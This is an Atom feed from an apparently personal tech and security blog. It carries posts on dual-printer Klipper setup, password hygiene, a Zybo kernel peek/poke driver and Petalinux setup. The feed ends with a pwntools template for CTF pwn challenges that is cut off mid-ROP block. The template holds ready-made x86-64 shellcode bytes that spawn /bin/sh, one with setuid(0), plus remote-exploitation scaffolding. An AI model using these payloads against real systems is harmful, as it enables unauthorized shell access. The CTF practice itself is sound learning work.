<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.3.4">Jekyll</generator><link href="https://vreugdenhil.dev/feed.xml" rel="self" type="application/atom+xml" /><link href="https://vreugdenhil.dev/" rel="alternate" type="text/html" /><updated>2025-03-12T14:49:43+01:00</updated><id>https://vreugdenhil.dev/feed.xml</id><title type="html">VDEV</title><subtitle>Gathering knowledge &amp; flags</subtitle><author><name>Arjan Vreugdenhil</name></author><entry><title type="html">Dual printering Klipper</title><link href="https://vreugdenhil.dev/two-printers-one-pi/" rel="alternate" type="text/html" title="Dual printering Klipper" /><published>2022-11-26T00:00:00+01:00</published><updated>2022-12-06T00:00:00+01:00</updated><id>https://vreugdenhil.dev/two-printers-one-pi</id><content type="html" xml:base="https://vreugdenhil.dev/two-printers-one-pi/"><![CDATA[<p>Ever since installing Klipper+Fluidd on my printers I haven’t looked back. However, even though the Pi-per-printer configuration is great for experimenting, I’d like one of the Pi’s available for other purposes. There wasn’t a lot of information out there on how to do this so here we are.</p>

<h2 id="basic-install">Basic install</h2>

<p>For this project I decided it was best to go with a fresh Raspberry OS install instead of using the premade Klipper image. Setting up the Pi is straightforward. I used the Raspberry Pi Imaging tool, wich lets you set the user, hostname and enable SSH. No further changes necessary.</p>

<p>After boot, I SSH’ed in and ran the following commands:</p>

<!--more-->

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt update
<span class="nb">sudo </span>apt upgrade
<span class="nb">sudo </span>apt <span class="nb">install </span>git
git clone https://github.com/th33xitus/kiauh.git
./kiauh/kiauh.sh
</code></pre></div></div>

<p>Using Kiauh, I installed Klipper first. The tool lets you easily create 2 instances instead of 1. I named both. When asked if the tool should add the user to the tty group, I selected yes.</p>

<p>Then installing Moonraker was simple. The default settings were fine. The same went for Fluidd.</p>

<h2 id="basic-setup">Basic setup</h2>

<p>Now in Fluidd, we can simply make the following adjustments:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Settings</code> -&gt; <code class="language-plaintext highlighter-rouge">printer name</code> set to a name that makes sense to you</li>
  <li><code class="language-plaintext highlighter-rouge">manage</code> -&gt; <code class="language-plaintext highlighter-rouge">add user</code> a new user with password</li>
  <li>Edit moonraker.conf:</li>
</ul>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[authorization]
<span class="gi">+force_logins: True
</span><span class="gd">-trusted_clients:
-   10.0.0.0/8
-   127.0.0.0/8
-   169.254.0.0/16
-   172.16.0.0/12
-   192.168.0.0/16
-   FE80::/10
-   ::1/128
</span></code></pre></div></div>

<p>Then find the meatball menu and add an instance. I added <a href="http://printer.local:7126">http://printer.local:7126</a> (<code class="language-plaintext highlighter-rouge">printer</code> is the hostname I set in the Raspberry imager. mDNS lets me approach this system with <code class="language-plaintext highlighter-rouge">http://printer.local</code>). Go through the exact same three steps as above.</p>

<p>Then reboot the Pi.</p>

<p>Finally, for both printers, update the printer.cfg and fluidd.cfg. You may need to edit moonraker.conf as well. Do not accidentally overwrite the Moonraker port with old settings. The following two changes must also be applied to the old config. Note that <code class="language-plaintext highlighter-rouge">anet</code> is the name I gave to one of my printers. Subsitute it with your own.</p>

<h3 id="printercfg">printer.cfg</h3>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[virtual_sdcard]
<span class="gd">-path: ~/gcode_files
</span><span class="gi">+path: ~/anet_data/gcodes
</span></code></pre></div></div>

<h3 id="fluiddcfg">fluidd.cfg</h3>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[virtual_sdcard]
<span class="gd">-path: /home/arjan/gcode_files
</span><span class="gi">+path: /home/arjan/anet_data/gcodes
</span></code></pre></div></div>

<h2 id="printer-picking-problems">Printer picking problems</h2>

<p>The last change that had to be made is the serial port. My Ender 3 V2 and Anet A8 Plus both connected to the Pi without Serial ID. This meant that running <code class="language-plaintext highlighter-rouge">ls /dev/serial/by-id/*</code> showed only one file. Using this is not possible. We need a unique descriptor for each of the printers.</p>

<p>We can achieve this with udev. Running <code class="language-plaintext highlighter-rouge">udevadm info -a -n /dev/ttyUSB2</code> gives a lot of details about the serial port and how it is connected. Depending on which hardware you’re using, the numbers may not entirely line up with mine.</p>

<p>With this information we can write our own udev rules. Instead of relying on the serial ID that turned out to not be unique, we can use the physical location of the USB connection. Because our physical configuration will not change often, this is acceptable. I made a file in <code class="language-plaintext highlighter-rouge">/etc/udev/rules.d</code> named <code class="language-plaintext highlighter-rouge">98-printer.rules</code>. This contained the following:</p>

<pre><code class="language-udev">ACTION=="add", ATTRS{product}=="USB Serial", ATTRS{devpath}=="1.1.3", SYMLINK+="printer_usb_1_3"
ACTION=="add", ATTRS{product}=="USB Serial", ATTRS{devpath}=="1.1.2", SYMLINK+="printer_usb_1_2"
ACTION=="add", ATTRS{product}=="USB Serial", ATTRS{devpath}=="1.2", SYMLINK+="printer_usb_2"
ACTION=="add", ATTRS{product}=="USB Serial", ATTRS{devpath}=="1.3", SYMLINK+="printer_usb_3"
</code></pre>

<p>Now each of the four physical ports on the Pi gets their own symlink in /dev/. This symlink can then be used in the <code class="language-plaintext highlighter-rouge">printer.cfg</code>.</p>

<h2 id="further-bodging-shenanigans">Further bodging shenanigans</h2>

<p>Lastly, I wanted to have the system restart on plugging in. Details on how to achieve this are available but only on 1 printer systems. I achieved this goal by taking the following steps.</p>

<p>In both <code class="language-plaintext highlighter-rouge">printer.cfg</code> files, I changed <code class="language-plaintext highlighter-rouge">/dev/printer_usb_n_n</code> values to <code class="language-plaintext highlighter-rouge">/dev/printer_ender</code> and <code class="language-plaintext highlighter-rouge">/dev/printer_anet</code>. Then, I modified the printer.rules udev file to the following:</p>

<pre><code class="language-udev">ACTION=="add", ATTRS{product}=="USB Serial", ATTRS{devpath}=="1.3", SYMLINK+="printer_anet", RUN+="/usr/bin/sudo -u arjan /bin/sh -c '/bin/echo RESTART &gt; /home/arjan/anet_data/comms/klippy.serial'"
ACTION=="add", ATTRS{product}=="USB Serial", ATTRS{devpath}=="1.2", SYMLINK+="printer_ender", RUN+="/usr/bin/sudo -u arjan /bin/sh -c '/bin/echo RESTART &gt; /home/arjan/ender_data/comms/klippy.serial'"
</code></pre>

<p>Of course you’ll have to adjust your system username and symlinks to match your own.</p>

<p>Now when the printer is powered up, it automatically resets and Klippy connects automatically.</p>]]></content><author><name>Arjan Vreugdenhil</name></author><category term="Misc" /><summary type="html"><![CDATA[Ever since installing Klipper+Fluidd on my printers I haven’t looked back. However, even though the Pi-per-printer configuration is great for experimenting, I’d like one of the Pi’s available for other purposes. There wasn’t a lot of information out there on how to do this so here we are. Basic install For this project I decided it was best to go with a fresh Raspberry OS install instead of using the premade Klipper image. Setting up the Pi is straightforward. I used the Raspberry Pi Imaging tool, wich lets you set the user, hostname and enable SSH. No further changes necessary. After boot, I SSH’ed in and ran the following commands:]]></summary></entry><entry><title type="html">Making strong passwords</title><link href="https://vreugdenhil.dev/passwords/" rel="alternate" type="text/html" title="Making strong passwords" /><published>2022-01-11T00:00:00+01:00</published><updated>2023-04-29T00:00:00+02:00</updated><id>https://vreugdenhil.dev/passwords</id><content type="html" xml:base="https://vreugdenhil.dev/passwords/"><![CDATA[<p>Everyone knows that they should use strong passwords. The chance of getting compromised through a weak or exposed password is small, but the implications for your (digital) life could be painful. Sadly, picking strong passwords might not be intuitive. And since I can’t go around asking everyone around me to tell me their passwords to judge whether they’re good or not, the best I can do is write a guide to avoid common mistakes.</p>

<p>The TL;DR here is to use a password manager and use passwords based on fully random data like a die or a trustworthy random number generator.</p>

<h2 id="background">Background</h2>

<p>An attacker might obtain your password in one of a few ways like password cracking after an organization has been hacked and password hashes have been leaked, or through phishing where the attacker targets the individual directly.</p>

<!--more-->

<h3 id="password-cracking">Password cracking</h3>

<p>Attackers have limited resources. That means that they can only crack the weakest portion of the leaked hashes. That is, assuming the service implements best practices like hashing. This process uses one-way maths. When you log in, your password is verified only by comparing the result of the equation to the result of the equation that was stored when you made or changed your password. An attacker would have to try many options before knowing which one matches.</p>

<p>There are two ways passwords are cracked. One is cracking with brute force, and the other is by generating potential matches using patterns. This is either done on-the-fly or by making a ‘dictionary’ in advance.</p>

<p>Brute force attacks are simple. The attacker tries everything from ‘a’ through ‘ZZZZZZZZZZZZ’, including all lower- and uppercase letters, numbers, a limited amount of symbols or whichever combination the attacker thinks is likely to work.</p>

<p>Dictionary attacks are an art. The attacker may try combinations of common names, seasons, years, and limited permutations on all. This may include an uppercase letter as the first character, and an exclamation point as a last character.</p>

<h3 id="a-hack-can-be-permanent">A hack can be permanent</h3>

<p>When an account is hacked, an attacker may change the email address, change the password or enable MFA on the account. This means that you can no longer access the account. Not all companies will respond to support requests and the police are almost never of help. This means that you could permanently lose access to the account and the data inside it!</p>

<h2 id="donts">Don’ts</h2>

<p>Don’t use weak passwords. This includes</p>

<ul>
  <li>known ones (Love, password, 1234567, Welcome01!);</li>
  <li>easily guessable ones (fikkie, <a href="https://www.washingtonpost.com/world/2020/12/17/dutch-trump-twitter-password-hack/">maga2020!</a>);</li>
  <li>generatable ones (8September1999);</li>
  <li>keyboard walks.</li>
</ul>

<p>Keyboard walks are sequences of letters or characters that follow a path over your physical keyboard like <code class="language-plaintext highlighter-rouge">qwertyuiop</code> or <code class="language-plaintext highlighter-rouge">qazwsxedc</code>. These are not random and everyone shares the same keyboard layouts so they are easily guessed.</p>

<p>There is no rule against using a capital letter for the first letter or adding a punctuation mark at the end but this does not increase security as much as you might think.</p>

<p>Don’t use pen and paper. Your passwords are unlikely to get stolen, and on paper (haha) this is not a bad idea. But this approach increases the barrier to use strong passwords, but it also makes it more likely that you’ll reuse passwords. If you ignore this advice, do not store them along your laptop, on a sticky note under your keyboard, or anywhere untrusted people can access it.</p>

<p>While using a password system like <code class="language-plaintext highlighter-rouge">mypassword-PC</code>, <code class="language-plaintext highlighter-rouge">mypassword-SocialMedia</code>, <code class="language-plaintext highlighter-rouge">mypassword-Email</code> is <strong>technically</strong> better than using the exact same password for all accounts, this is still not a good practice. When one leaks, an attacker can still use it to get into the other accounts.</p>

<h2 id="dos">Do’s</h2>

<p>Use a password manager. There are good ones that can be used for free. Just make sure that like with any service you use, the company has a good business model.</p>

<p>You will still need a few memorable passwords. Like for your computer, your password manager and the encryption key to your backups. (You do have backups, right?)</p>

<p>Use a passphrase, consisting of many (at least 6) words. Join them together with spaces, dashes, slashes, or other characters. If you need help choosing words (you probably do), <a href="https://theworld.com/~reinhold/diceware.html">Diceware</a> may help. <a href="https://www.rempe.us/diceware/#eff">This</a> is an easier to use alternative.</p>

<p>Learn all passwords by heart immediately. And keep using them. Often times, you cannot recover the master password to your password manager. By regularly typing in your password, you make sure not to forget it. If you can store it in a safe place, it is not necessarily a bad idea to write down your master password.</p>

<p>Use a unique password for all the accounts you care about. It might not matter to you if a game account of 6 years ago is compromised, but if someone uses that same password to get into your email account, you’re in big trouble.</p>

<h2 id="final-words">Final words</h2>

<p>Use MFA (multi factor authentication) to authenticate with not only something you know (your password) but also something you have (a keyfob or your phone). There are free authenticator apps available. This helps more than an increase in password strength can.</p>

<p>You might want to plug your email address(es) into <a href="https://haveibeenpwned.com/">Have I been Pwned</a>. This service tells you if your account has been in a breach. If an account has been, make sure all passwords that match that accounts password are changed as soon as possible.</p>]]></content><author><name>Arjan Vreugdenhil</name></author><category term="Introduction" /><category term="General security" /><summary type="html"><![CDATA[Everyone knows that they should use strong passwords. The chance of getting compromised through a weak or exposed password is small, but the implications for your (digital) life could be painful. Sadly, picking strong passwords might not be intuitive. And since I can’t go around asking everyone around me to tell me their passwords to judge whether they’re good or not, the best I can do is write a guide to avoid common mistakes. The TL;DR here is to use a password manager and use passwords based on fully random data like a die or a trustworthy random number generator. Background An attacker might obtain your password in one of a few ways like password cracking after an organization has been hacked and password hashes have been leaked, or through phishing where the attacker targets the individual directly.]]></summary></entry><entry><title type="html">Poking the beast</title><link href="https://vreugdenhil.dev/zybo_lkm-peekpoke/" rel="alternate" type="text/html" title="Poking the beast" /><published>2021-09-08T00:00:00+02:00</published><updated>2021-10-06T00:00:00+02:00</updated><id>https://vreugdenhil.dev/zybo_lkm-peekpoke</id><content type="html" xml:base="https://vreugdenhil.dev/zybo_lkm-peekpoke/"><![CDATA[<p>This post describes the peek/poke driver for the Zybo Z7-10. A peek/poke driver may be used to write to addresses that can be accessed from kernel space but not from user space. It serves as a good introductory project for making kernel modules.</p>

<h2 id="talking-to-our-driver">Talking to our driver</h2>

<p>The first thing to worry about for making this driver is how we’ll be talking to it. In this case, using sysfs makes more sense over devfs because we’ll always be dealing with small bits of data.</p>

<!--more-->

<p>Because we will be needing to read and write to memory, we’ll need to specify the operation in the message. For reading memory we’ll need to specify an address to read from, and we may also specify how many words to read. For the writing operation, we’ll need to specify an address and a value. With our current architecture, these all need to be a <code class="language-plaintext highlighter-rouge">u32</code>. We will be sending the result of the read operation to the user via printk. This is not acceptable for serious drivers, but it more than suffices for our use case.</p>

<p>To process the users input we can easily use sscanf as follows.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">chars_read</span> <span class="o">=</span> <span class="n">sscanf</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="s">"%c %li %li"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">operation</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">location</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">arg2</span><span class="p">);</span>
</code></pre></div></div>

<p>Of course, we mustn’t forget to check the validity of all parameters. If they are not as expected, we can return -E</p>

<h2 id="oh-no">Oh no</h2>

<p>If we let ourselves be inspired by the lkmpg and use the following snippet, we run into a wall.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="nf">DEVICE_ATTR</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">S_IWUGO</span> <span class="o">|</span> <span class="n">S_IRUGO</span><span class="p">,</span> <span class="n">sysfs_show</span><span class="p">,</span> <span class="n">sysfs_store</span><span class="p">);</span>
</code></pre></div></div>

<p>This is because the permissions that <code class="language-plaintext highlighter-rouge">S_IWUGO | S_IRUGO</code> resolve to, are too broad. They may be no more permissive than <code class="language-plaintext highlighter-rouge">0664</code>. Keep in mind that these are octal values.</p>

<h2 id="scratch-scratch">Scratch scratch</h2>

<p>In the enviroment we created, we don’t have the luxury of using iowrite32 and io_p2v(). So we will have to use iomem. The following code allows us to read and write to an address.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">__iomem</span> <span class="o">*</span><span class="n">io_base</span> <span class="o">=</span> <span class="n">ioremap_nocache</span><span class="p">(</span><span class="n">location</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">operation</span> <span class="o">==</span> <span class="sc">'r'</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">value</span> <span class="o">=</span> <span class="n">readl</span><span class="p">(</span><span class="n">io_base</span><span class="p">);</span>
    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"read value  0x%lx from physical memory location 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">value</span><span class="p">,</span> <span class="n">location</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="n">operation</span> <span class="o">==</span> <span class="sc">'w'</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">writel</span><span class="p">(</span><span class="n">arg2</span><span class="p">,</span> <span class="n">io_base</span><span class="p">);</span>
    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"wrote value 0x%lx   to physical memory location 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">arg2</span><span class="p">,</span> <span class="n">location</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">iounmap</span><span class="p">(</span><span class="n">io_base</span><span class="p">);</span>
</code></pre></div></div>

<p>Of course, we also make sure that invalid code paths are handled correctly.</p>

<h2 id="the-beast-growls">The beast growls</h2>

<p>Testing this module gives some interesting results. At first I tried setting one of the on board leds. These were not documented extensively but using the <a href="https://digilent.com/reference/programmable-logic/zybo-z7/reference-manual">reference guide</a> I thought I had a reasonable grasp. I set all the right registers but nothing happened.</p>

<p>Reading from non-gpio registers seemed to work. One USB register has a version number, and this was read just fine by the driver.</p>

<p>Further debugging, it turned out that the issue lies in writing to the GPIO registers. This is because of the way the CPU and the FPGA interact. One has to set up the FPGA correctly before being able to use the GPIO.</p>]]></content><author><name>Arjan Vreugdenhil</name></author><category term="LKM" /><summary type="html"><![CDATA[This post describes the peek/poke driver for the Zybo Z7-10. A peek/poke driver may be used to write to addresses that can be accessed from kernel space but not from user space. It serves as a good introductory project for making kernel modules. Talking to our driver The first thing to worry about for making this driver is how we’ll be talking to it. In this case, using sysfs makes more sense over devfs because we’ll always be dealing with small bits of data.]]></summary></entry><entry><title type="html">Intro to linux kernel module programming on the Zybo Z7-10</title><link href="https://vreugdenhil.dev/zybo_lkm_intro/" rel="alternate" type="text/html" title="Intro to linux kernel module programming on the Zybo Z7-10" /><published>2021-09-06T00:00:00+02:00</published><updated>2021-09-06T00:00:00+02:00</updated><id>https://vreugdenhil.dev/zybo_lkm_intro</id><content type="html" xml:base="https://vreugdenhil.dev/zybo_lkm_intro/"><![CDATA[<p>This post describes my experience with first setting up my enviroment for working with the Zybo Z7-10.</p>

<h2 id="its-only-a-little-scary">It’s only a little scary</h2>

<p>When originally drafting this post, this paragraph was titled “It’s not that scary.” And then I spent 4 days debugging the toolchain. But even though many things are different in kernel module land, it’s just another little step up from programming for userspace in C.</p>

<h2 id="getting-set-up">Getting set up</h2>

<p>If you first venture out into embedded linux past Raspberries, you’ll quickly run into Buildroot, Yocto and Zephyr. Each with their own strengths. For working with the Zybo board, we didn’t have to make a choice. Xilinx provides a <a href="http://www.xilinx.com/petalinux">Petalinux</a> demo which <em>should</em> be easy to set up. (subtle foreshadowing.) With Petalinux, we can simply build an image for the board and build applications and kernel modules.</p>

<!--more-->

<p>To get us going, we make an Ubuntu 16.04.x VM and we install Petalinux and download the bsp. While Xilinx’ <a href="https://digilent.com/reference/programmable-logic/zybo-z7/demos/petalinux?redirect=1">demo page</a> suggests that 2017.4 is not the latest release, the latest release link (<code class="language-plaintext highlighter-rouge">https://github.com/Digilent/(Board)/releases/tag/(tag)</code>) doesn’t go anywhere so we’ll stick with 2017.4. Following their <a href="https://github.com/Digilent/Petalinux-Zybo-Z7-10/tree/v2017.4-1">guide on github</a> we get most of the way there.</p>

<p>Building the image now gives us the error <code class="language-plaintext highlighter-rouge">WARNING: u-boot-xlnx-v2017.01-xilinx-v2017.4+gitAUTOINC+42deb242f9-r0 do_fetch: Failed to fetch URL git://github.com/digilent/u-boot-digilent.git;protocol=https;branch=master, attempting MIRRORS if available</code>. The repo seems to be fine, and picking the Petalinux built in u-boot or a different repo or different commit does not solve the issue. The solution for this can be found <a href="https://forum.digilentinc.com/topic/22104-u-boot-digilent-fetching-error-building-petalinux-zybo-z7-20-bsp-project/">here</a>. What we’re doing is taking commit <code class="language-plaintext highlighter-rouge">42deb242f961ce317366566666cbbddfb198bc9f</code> from the official digilent u-boot repository and manually retrieving it. I have no explanation for why this is necessary. It has taken me days to get to this point so now I’ll just take the win.</p>

<h2 id="workflow">Workflow</h2>

<p>We can now simply follow Digilents <a href="https://www.xilinx.com/support/documentation/sw_manuals/xilinx2017_4/ug1144-petalinux-tools-reference-guide.pdf">ug1144</a> to make a new module. This includes the following commands.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> ~/Zybo-Z7-10/
<span class="nb">source</span> /opt/pkg/petalinux/settings.sh
petalinux-create <span class="nt">-t</span> modules <span class="nt">--name</span> &lt;user-module-name&gt; <span class="nt">--enable</span>
petalinux-build <span class="nt">-c</span> &lt;user-module-name&gt;
nano project-spec/meta-user/recipes-modules/helloworld/files/helloworld.c
upl &lt;ip&gt; &lt;user-module-name&gt; <span class="c"># eg upl 192.168.2.49 helloworld</span>
</code></pre></div></div>

<p>upl is a custom bash function that scp’s the .ko file. After building, the .ko file ends up in <code class="language-plaintext highlighter-rouge">~/Zybo-Z7-10/build/tmp/sysroots/plnx_arm/lib/modules/4.9.0-xilinx-v2017.4/extra/</code>. Petalinux takes care of all the other build files.</p>

<p>Do not name your module <code class="language-plaintext highlighter-rouge">peekpoke</code>. There is presumably already a module with that name and the build process will fail silently. You’ll bawl your eyes out before you figure that out.</p>

<p>The process of building the modules is still painfully slow compared to using the toolchain for the LPC3250 board. This is because there are a few steps in the module build process that are not cached. It might be possible to further optimize this process. To save a little extra time, we can use ssh to transfer over the .ko file. The prebuilt image includes dropbear. Credentials are root:root. Consider the security implications of this.</p>

<p>I’ve decided that I do not want to work inside the VM. So for the actual work I will be using a git repository on my main machine, mapped into the vm. For a new project, I will copy the template from Petalinux into the git folder and to build, I will be using an alias to copy from git into Petalinux, build, and upload.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp</span> <span class="nt">-r</span> project-spec/meta-user/recipes-modules/es6peekpoke/files/ /mnt/hgfs/es6git/es6peekpoke/
<span class="nb">cp</span> <span class="nt">-r</span> /mnt/hgfs/es6git/peekpoke/files/ project-spec/meta-user/recipes-modules/es6peekpoke/
petalinux-build <span class="nt">-c</span> es6peekpoke
</code></pre></div></div>]]></content><author><name>Arjan Vreugdenhil</name></author><category term="LKM" /><summary type="html"><![CDATA[This post describes my experience with first setting up my enviroment for working with the Zybo Z7-10. It’s only a little scary When originally drafting this post, this paragraph was titled “It’s not that scary.” And then I spent 4 days debugging the toolchain. But even though many things are different in kernel module land, it’s just another little step up from programming for userspace in C. Getting set up If you first venture out into embedded linux past Raspberries, you’ll quickly run into Buildroot, Yocto and Zephyr. Each with their own strengths. For working with the Zybo board, we didn’t have to make a choice. Xilinx provides a Petalinux demo which should be easy to set up. (subtle foreshadowing.) With Petalinux, we can simply build an image for the board and build applications and kernel modules.]]></summary></entry><entry><title type="html">Pwntools template</title><link href="https://vreugdenhil.dev/pwntools_template/" rel="alternate" type="text/html" title="Pwntools template" /><published>2021-05-26T00:00:00+02:00</published><updated>2021-05-26T00:00:00+02:00</updated><id>https://vreugdenhil.dev/pwntools_template</id><content type="html" xml:base="https://vreugdenhil.dev/pwntools_template/"><![CDATA[<p>This post contains the last update of my pwntools template. It is used as a starting point for solving CTF pwn challenges.</p>

<!--more-->

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kn">from</span> <span class="n">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="n">struct</span>
<span class="kn">import</span> <span class="n">os</span>

<span class="c1">## RANDOM TOOLS ##
</span><span class="n">s1</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">'</span><span class="se">\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08</span><span class="s">x53</span><span class="se">\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05</span><span class="sh">'</span>
<span class="n">s2</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05</span><span class="sh">"</span>
<span class="n">s3</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05</span><span class="sh">"</span>
<span class="n">abcd</span> <span class="o">=</span> <span class="sh">'</span><span class="s">AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ</span><span class="sh">'</span>


<span class="c1">## VARIABLES ##
</span><span class="n">host</span> <span class="o">=</span> <span class="sh">"</span><span class="s">mercury.picoctf.net</span><span class="sh">"</span>
<span class="n">port</span> <span class="o">=</span> <span class="mi">1234</span>

<span class="n">remoteuser</span> <span class="o">=</span> <span class="sh">""</span>
<span class="n">remotepass</span> <span class="o">=</span> <span class="sh">""</span>
<span class="n">remotecwd</span> <span class="o">=</span> <span class="sh">"</span><span class="s">/problems/path</span><span class="sh">"</span>

<span class="n">basepath</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="nf">getcwd</span><span class="p">()</span>
<span class="n">binarypath</span> <span class="o">=</span> <span class="n">basepath</span> <span class="o">+</span> <span class="sh">'</span><span class="s">/vuln</span><span class="sh">'</span>
<span class="n">libcpath</span> <span class="o">=</span> <span class="n">basepath</span> <span class="o">+</span> <span class="sh">'</span><span class="s">/libc.so.6</span><span class="sh">'</span>
<span class="n">ldpath</span> <span class="o">=</span> <span class="n">basepath</span> <span class="o">+</span> <span class="sh">'</span><span class="s">/ld-2.27.so</span><span class="sh">'</span>

<span class="n">debug</span> <span class="o">=</span> <span class="bp">False</span>
<span class="n">debugger</span> <span class="o">=</span> <span class="bp">True</span>
<span class="c1"># shell, remote, local, libc
</span><span class="n">mode</span> <span class="o">=</span> <span class="sh">"</span><span class="s">local</span><span class="sh">"</span>


<span class="c1">## Setup ##
</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="nc">ELF</span><span class="p">(</span><span class="n">binarypath</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="nc">ELF</span><span class="p">(</span><span class="n">libcpath</span><span class="p">)</span>
<span class="n">ld</span> <span class="o">=</span> <span class="nc">ELF</span><span class="p">(</span><span class="n">ldpath</span><span class="p">)</span>

<span class="n">p</span> <span class="o">=</span> <span class="bp">None</span>
<span class="k">if</span> <span class="n">mode</span> <span class="o">==</span> <span class="sh">"</span><span class="s">shell</span><span class="sh">"</span><span class="p">:</span>
    <span class="n">debugger</span> <span class="o">=</span> <span class="bp">False</span>
    <span class="n">shell</span> <span class="o">=</span> <span class="nf">ssh</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="n">host</span><span class="p">,</span> <span class="n">user</span><span class="o">=</span><span class="n">remoteuser</span><span class="p">,</span> <span class="n">password</span><span class="o">=</span><span class="n">remotepass</span><span class="p">)</span>
    <span class="n">p</span> <span class="o">=</span> <span class="n">shell</span><span class="p">.</span><span class="nf">process</span><span class="p">([</span><span class="n">binarypath</span><span class="p">],</span> <span class="n">cwd</span><span class="o">=</span><span class="n">remotecwd</span><span class="p">)</span>
<span class="k">if</span> <span class="n">mode</span> <span class="o">==</span> <span class="sh">'</span><span class="s">remote</span><span class="sh">'</span><span class="p">:</span>
    <span class="n">debugger</span> <span class="o">=</span> <span class="bp">False</span>
    <span class="n">p</span> <span class="o">=</span> <span class="nf">remote</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span>
<span class="k">if</span> <span class="n">mode</span> <span class="o">==</span> <span class="sh">'</span><span class="s">local</span><span class="sh">'</span><span class="p">:</span>
    <span class="n">p</span> <span class="o">=</span> <span class="nf">process</span><span class="p">([</span><span class="n">ld</span><span class="p">.</span><span class="n">path</span><span class="p">,</span> <span class="n">binarypath</span><span class="p">],</span> <span class="n">env</span><span class="o">=</span><span class="p">{</span><span class="sh">'</span><span class="s">LD_PRELOAD</span><span class="sh">'</span><span class="p">:</span><span class="n">libcpath</span><span class="p">})</span>
<span class="k">if</span> <span class="n">mode</span> <span class="o">==</span> <span class="sh">'</span><span class="s">libc</span><span class="sh">'</span><span class="p">:</span>
    <span class="n">libc</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">libc</span>
    <span class="n">p</span> <span class="o">=</span> <span class="nf">process</span><span class="p">(</span><span class="n">binarypath</span><span class="p">)</span>

<span class="k">if</span> <span class="n">debug</span><span class="p">:</span>
    <span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="sh">'</span><span class="s">debug</span><span class="sh">'</span>
<span class="k">if</span> <span class="n">debugger</span><span class="p">:</span> 
    <span class="n">pid</span> <span class="o">=</span> <span class="n">gdb</span><span class="p">.</span><span class="nf">attach</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="sh">"</span><span class="se">\
</span><span class="s">        define hook-stop </span><span class="se">\n\
</span><span class="s">            i r $rbp </span><span class="se">\n\
</span><span class="s">            i r $rip </span><span class="se">\n\
</span><span class="s">            x/8i $pc </span><span class="se">\n\
</span><span class="s">            x/64x $sp </span><span class="se">\n\
</span><span class="s">        end </span><span class="se">\n</span><span class="sh">"</span><span class="p">)</span>

<span class="c1">## ROP ##
</span><span class="sh">'''</span><span class="s">
rop1 = ROP(elf)
rop1.puts(elf.got[</span><span class="sh">'</span><span class="s">puts</span><span class="sh">'</span><span class="s">])
rop1.call(elf.symbols[</span><span class="sh">'</span><span class="s">main</span><span class="sh">'</span><span class="s">])
print(rop1.dump())
OFFSET = b</span><span class="sh">'</span><span class="s">A</span><span class="sh">'</span><span class="s">*40
